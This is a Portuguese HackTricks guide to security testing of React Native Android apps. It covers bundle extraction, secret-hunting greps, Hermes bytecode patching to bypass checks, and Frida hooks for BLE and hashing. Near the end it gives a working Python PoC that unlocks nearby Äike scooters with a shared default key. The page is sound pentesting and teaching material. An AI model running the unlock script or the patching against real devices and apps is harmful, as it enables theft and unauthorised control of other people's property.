Análise de Aplicação React Native
Tip
Aprenda e pratique Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporte o HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.
Para confirmar se a aplicação foi construída com o framework React Native, siga estes passos:
-
Renomeie o arquivo APK com a extensão zip e extraia-o para uma nova pasta usando o comando
cp com.example.apk example-apk.zipeunzip -qq example-apk.zip -d ReactNative. -
Navegue até a pasta ReactNative recém-criada e localize a pasta assets. Dentro desta pasta, você deve encontrar o arquivo
index.android.bundle, que contém o JavaScript do React em formato minificado. -
Use o comando
find . -print | grep -i ".bundle$"para procurar o arquivo JavaScript.
Nota: Se você recebeu um Android App Bundle (.aab) em vez de um APK, gere primeiro um APK universal e então extraia o bundle:
# Get bundletool.jar and generate a universal APK set
java -jar bundletool.jar build-apks \
--bundle=app-release.aab \
--output=app.apks \
--mode=universal \
--overwrite
# Extract the APK and then unzip it to find assets/index.android.bundle
unzip -p app.apks universal.apk > universal.apk
unzip -qq universal.apk -d ReactNative
ls ReactNative/assets/
Código Javascript
Se, ao verificar o conteúdo do index.android.bundle, você encontrar o código JavaScript da aplicação (mesmo que minificado), você pode analisar para encontrar informações sensíveis e vulnerabilidades.
Como o bundle contém na prática todo o código JS da aplicação, é possível dividi-lo em diferentes arquivos (potencialmente facilitando seu reverse engineering) usando a ferramenta react-native-decompiler.
Webpack
Para aprofundar a análise do código JavaScript, você pode enviar o arquivo para https://spaceraccoon.github.io/webpack-exploder/ ou seguir estes passos:
- Crie um arquivo chamado
index.htmlno mesmo diretório com o código a seguir:
<script src="./index.android.bundle"></script>
-
Abra o arquivo
index.htmlno Google Chrome. -
Abra o Developer Toolbar pressionando Command+Option+J para OS X ou Control+Shift+J para Windows.
-
Clique em “Sources” no Developer Toolbar. Você deverá ver um arquivo JavaScript dividido em pastas e arquivos, compondo o bundle principal.
Se você encontrar um arquivo chamado index.android.bundle.map, poderá analisar o código-fonte em formato não minificado. Arquivos map contêm source mapping, que permite mapear identificadores minificados.
Para procurar credenciais sensíveis e endpoints, siga estes passos:
-
Identifique palavras-chave sensíveis para analisar o código JavaScript. Aplicações React Native frequentemente usam serviços de terceiros como Firebase, AWS S3 service endpoints, chaves privadas, etc.
-
Neste caso específico, observou-se que a aplicação estava usando o serviço Dialogflow. Procure por um padrão relacionado à sua configuração.
-
Foi sorte que credenciais sensíveis hard-coded foram encontradas no código JavaScript durante o processo de recon.
Rápida secrets/endpoint hunting em bundles
Estes simples greps frequentemente revelam indicadores interessantes mesmo em minified JS:
# Common backends and crash reporters
strings -n 6 index.android.bundle | grep -Ei "(api\.|graphql|/v1/|/v2/|socket|wss://|sentry\.io|bugsnag|appcenter|codepush|firebaseio\.com|amplify|aws)"
# Firebase / Google keys (heuristics)
strings -n 6 index.android.bundle | grep -Ei "(AIza[0-9A-Za-z_-]{35}|AIzaSy[0-9A-Za-z_-]{33})"
# AWS access key id heuristic
strings -n 6 index.android.bundle | grep -E "AKIA[0-9A-Z]{16}"
# Expo/CodePush deployment keys
strings -n 6 index.android.bundle | grep -Ei "(CodePush|codepush:\\/\\/|DeploymentKey)"
# Sentry DSN
strings -n 6 index.android.bundle | grep -Ei "(Sentry\.init|dsn\s*:)"
Se você suspeitar de frameworks de atualização Over-The-Air, procure também por:
- Microsoft App Center / CodePush deployment keys
- Expo EAS Updates configuração (
expo-updates,expo\.io, signing certs)
Alterar o código JS e reconstruir
Nesse caso, alterar o código é fácil. Basta renomear o app para usar a extensão .zip e extrair. Em seguida, você pode modificar o código JS dentro desse bundle e reconstruir o app. Isso deve ser suficiente para permitir que você injete código no app para fins de teste.
Hermes bytecode
Se o bundle contiver Hermes bytecode, você não conseguirá acessar o código Javascript do app (nem mesmo a versão minificada).
Você pode verificar se o bundle contém Hermes bytecode executando o seguinte comando:
file index.android.bundle
index.android.bundle: Hermes JavaScript bytecode, version 96
No entanto, você pode usar as ferramentas hbctool, forks atualizados do hbctool que suportam versões mais recentes do bytecode, hasmer, hermes_rs (biblioteca/APIs em Rust), ou hermes-dec para desmontar o bytecode e também para decompilá-lo para algum código pseudo-JS. Por exemplo:
# Disassemble and re-assemble with hbctool (works only for supported HBC versions)
hbctool disasm ./index.android.bundle ./hasm_out
# ...edit ./hasm_out/**/*.hasm (e.g., change comparisons, constants, feature flags)...
hbctool asm ./hasm_out ./index.android.bundle
# Using hasmer (focus on disassembly; assembler/decompiler are WIP)
hasmer disasm ./index.android.bundle -o hasm_out
# Using hermes-dec to produce pseudo-JS
hbc-disassembler ./index.android.bundle /tmp/my_output_file.hasm
hbc-decompiler ./index.android.bundle /tmp/my_output_file.js
Dica: o projeto open-source Hermes também fornece ferramentas de desenvolvedor, como hbcdump, em releases específicos do Hermes. Se você compilar a versão do Hermes correspondente usada para produzir o bundle, o hbcdump pode dump functions, string tables, and bytecode para análise mais aprofundada.
Alterar o código e reconstruir (Hermes)
Idealmente você deve ser capaz de modificar o código desassemblado (alterando uma comparação, um valor ou qualquer coisa que precise modificar) e então reconstruir o bytecode e reconstruir o app.
- A original hbctool suporta disassembling the bundle e montá-lo de volta após mudanças, mas historicamente suportava apenas versões antigas de bytecode. Forks mantidos pela comunidade estendem suporte a versões mais novas do Hermes (including mid-80s–96) e frequentemente são a opção mais prática para patchar apps RN modernos.
- A ferramenta hermes-dec não suporta reconstruir o bytecode (decompiler/disassembler only), mas é muito útil para navegar a lógica e dump strings.
- A ferramenta hasmer visa suportar tanto disassembly quanto assembly para múltiplas versões do Hermes; assembling ainda está amadurecendo, mas vale a pena tentar em bytecode recente.
Um fluxo de trabalho mínimo com hbctool-like assemblers:
# 1) Disassemble to HASM directories
hbctool disasm assets/index.android.bundle ./hasm
# 2) Edit a guard or feature flag (example: force boolean true)
# In the relevant .hasm, replace a LoadConstUInt8 0 with 1
# or change a conditional jump target to bypass a check.
# 3) Reassemble into a new bundle
hbctool asm ./hasm assets/index.android.bundle
# 4) Repack the APK and resign
zip -r ../patched.apk *
# Align/sign as usual (see Android signing section in HackTricks)
Note que o formato de bytecode do Hermes é versionado e o assembler deve corresponder exatamente ao formato no disco. Se você obtiver erros de formato, troque para um fork/alternativa atualizada ou reconstrua as ferramentas do Hermes correspondentes.
Análise Dinâmica
Uma maneira de analisar dinamicamente o app é usar Frida para habilitar o modo de desenvolvedor do app React e usar react-native-debugger para se conectar a ele. Porém, para isso aparentemente você precisa do código-fonte do app. Você pode encontrar mais informações sobre isso em https://newsroom.bedefended.com/hooking-react-native-applications-with-frida/.
Habilitando Dev Support em release com Frida (observações)
Alguns apps acidentalmente incluem classes que tornam o Dev Support alternável. Se estiverem presentes, você pode tentar forçar getUseDeveloperSupport() a retornar true:
// frida -U -f com.target.app -l enable-dev.js
Java.perform(function(){
try {
var Host = Java.use('com.facebook.react.ReactNativeHost');
Host.getUseDeveloperSupport.implementation = function(){
return true; // force dev support
};
console.log('[+] Patched ReactNativeHost.getUseDeveloperSupport');
} catch (e) {
console.log('[-] Could not patch: ' + e);
}
});
Aviso: Em builds de release corretamente construídos, DevSupportManagerImpl e classes apenas para debug relacionadas são removidas, e alternar essa flag pode travar o app ou não ter efeito. Quando isso funciona, você normalmente consegue expor o dev menu e anexar debuggers/inspectors.
Interceptação de rede em apps RN
React Native Android normalmente depende de OkHttp por baixo (via o módulo nativo Networking). Para interceptar/observar o tráfego em um dispositivo não rootado durante testes dinâmicos:
- Use proxy do sistema + confiar no certificado CA do usuário ou use outras técnicas genéricas de bypass de TLS no Android.
- Dica específica de RN: se o app inclui o Flipper na release por engano (ferramentas de debug), o Flipper Network plugin pode expor requisições/respostas.
Para técnicas genéricas de interceptação no Android e bypass de pinning, consulte:
Make APK Accept CA Certificate
Descoberta do protocolo GATT em tempo de execução com Frida (compatível com Hermes)
Quando o bytecode do Hermes bloqueia a inspeção estática fácil do JS, intercepte o stack BLE do Android em vez disso. android.bluetooth.BluetoothGatt e BluetoothGattCallback expõem tudo que o app envia/recebe, permitindo que você reverta protocolos proprietários de challenge-response e frames de comando sem o código-fonte JS.
Frida GATT logger (UUID + hex/ASCII dumps)
```js Java.perform(function () { function b2h(b) { return Array.from(b || [], x => ('0' + (x & 0xff).toString(16)).slice(-2)).join(' '); } function b2a(b) { return String.fromCharCode.apply(null, b || []).replace(/[^\x20-\x7e]/g, '.'); } var G = Java.use('android.bluetooth.BluetoothGatt'); var Cb = Java.use('android.bluetooth.BluetoothGattCallback');G.writeCharacteristic.overload(‘android.bluetooth.BluetoothGattCharacteristic’).implementation = function (c) {
console.log(\n>>> WRITE ${c.getUuid()}); console.log(b2h(c.getValue())); console.log(b2a(c.getValue()));
return this.writeCharacteristic(c);
};
G.writeCharacteristic.overload(‘android.bluetooth.BluetoothGattCharacteristic’,‘[B’,‘int’).implementation = function (c,v,t) {
console.log(\n>>> WRITE ${c.getUuid()} (type ${t})); console.log(b2h(v)); console.log(b2a(v));
return this.writeCharacteristic(c,v,t);
};
Cb.onConnectionStateChange.overload(‘android.bluetooth.BluetoothGatt’,‘int’,‘int’).implementation = function (g,s,n) {
console.log(*** STATE ${n} (status ${s})); return this.onConnectionStateChange(g,s,n);
};
Cb.onCharacteristicRead.overload(‘android.bluetooth.BluetoothGatt’,‘android.bluetooth.BluetoothGattCharacteristic’,‘int’).implementation = function (g,c,s) {
var v=c.getValue(); console.log(\n<<< READ ${c.getUuid()} status ${s}); console.log(b2h(v)); console.log(b2a(v));
return this.onCharacteristicRead(g,c,s);
};
Cb.onCharacteristicChanged.overload(‘android.bluetooth.BluetoothGatt’,‘android.bluetooth.BluetoothGattCharacteristic’).implementation = function (g,c) {
var v=c.getValue(); console.log(\n<<< NOTIFY ${c.getUuid()}); console.log(b2h(v));
return this.onCharacteristicChanged(g,c);
};
});
</details>
Hook `java.security.MessageDigest` para identificar handshakes baseados em hash e capturar a concatenação exata da entrada:
<details>
<summary>Frida MessageDigest tracer (algorithm, input, output)</summary>
```js
Java.perform(function () {
var MD = Java.use('java.security.MessageDigest');
MD.getInstance.overload('java.lang.String').implementation = function (alg) { console.log(`\n[HASH] ${alg}`); return this.getInstance(alg); };
MD.update.overload('[B').implementation = function (i) { console.log('[HASH] update ' + i.length + ' bytes'); return this.update(i); };
MD.digest.overload().implementation = function () { var r=this.digest(); console.log('[HASH] digest -> ' + r.length + ' bytes'); return r; };
MD.digest.overload('[B').implementation = function (i) { console.log('[HASH] digest(' + i.length + ')'); return this.digest(i); };
});
Um fluxo BLE do mundo real recuperado desta forma:
- Leia o challenge de
00002556-1212-efde-1523-785feabcd123. - Calcule
response = SHA1(challenge || key)onde a key era um valor padrão de 20 bytes 0xFF provisionado em todos os dispositivos. - Escreva a resposta em
00002557-1212-efde-1523-785feabcd123, então envie comandos para0000155f-1212-efde-1523-785feabcd123.
Uma vez autenticado, os comandos eram frames de 10 bytes para ...155f... ([0]=0x00, [1]=registry 0xD4, [3]=cmd id, [7]=param). Exemplos: unlock 00 D4 00 01 00 00 00 00 00 00, lock ...02..., eco-mode on ...03...01..., open battery ...04.... Notificações chegavam em 0000155e-1212-efde-1523-785feabcd123 (2-byte registry + payload), e os valores do registry podiam ser consultados escrevendo o ID do registry em 00001564-1212-efde-1523-785feabcd123 e depois lendo de volta de ...155f....
Com uma key compartilhada/padrão o challenge-response colapsa. Qualquer atacante nas proximidades pode calcular o digest e enviar comandos privilegiados. Um PoC mínimo (bleak):
Python (bleak) BLE auth + unlock via default key
```python import asyncio, hashlib from bleak import BleakClient, BleakScanner CHAL="00002556-1212-efde-1523-785feabcd123"; RESP="00002557-1212-efde-1523-785feabcd123"; CMD="0000155f-1212-efde-1523-785feabcd123"def filt(d,_): return d.name and d.name in [“AIKE”,“AIKE_T”,“AIKE_11”] async def main(): dev = await BleakScanner.find_device_by_filter(filt, timeout=10.0) if not dev: return async with BleakClient(dev.address) as c: chal = await c.read_gatt_char(CHAL) resp = hashlib.sha1(chal + b’\xff’*20).digest() await c.write_gatt_char(RESP, resp, response=False) await c.write_gatt_char(CMD, bytes.fromhex(‘00 d4 00 01 00 00 00 00 00 00’), response=False) await asyncio.sleep(0.5) asyncio.run(main())
</details>
## Problemas recentes em bibliotecas RN populares (o que procurar)
Ao auditar módulos de terceiros visíveis no bundle JS ou nas libs nativas, verifique vulnerabilidades conhecidas e confirme versões em `package.json`/`yarn.lock`.
- react-native-mmkv (Android): versões anteriores à 2.11.0 registravam a chave de criptografia opcional nos logs do Android. Se ADB/logcat estiver disponível, segredos poderiam ser recuperados. Garanta >= 2.11.0. Indicadores: uso de `react-native-mmkv`, mensagens de log mencionando MMKV init with encryption. CVE-2024-21668.
- react-native-document-picker: versões < 9.1.1 eram vulneráveis a path traversal no Android (seleção de arquivo), corrigido na 9.1.1. Valide entradas e a versão da biblioteca.
Verificações rápidas:
```bash
grep -R "react-native-mmkv" -n {index.android.bundle,*.map} 2>/dev/null || true
grep -R "react-native-document-picker" -n {index.android.bundle,*.map} 2>/dev/null || true
# If you also have the node_modules (rare on release): grep -R in package.json / yarn.lock
Referências
- https://medium.com/bugbountywriteup/lets-know-how-i-have-explored-the-buried-secrets-in-react-native-application-6236728198f7
- https://www.assetnote.io/resources/research/expanding-the-attack-surface-react-native-android-applications
- https://payatu.com/wp-content/uploads/2023/02/Mastering-React-Native-Application-Pentesting-A-Practical-Guide-2.pdf
- CVE-2024-21668 - react-native-mmkv logs encryption key on Android (NVD)
- hbctool (and forks) for Hermes assemble/disassemble
- Äike BLE authentication bypass: default BLE private key allows unlocking any nearby scooter
Tip
Aprenda e pratique Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporte o HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.


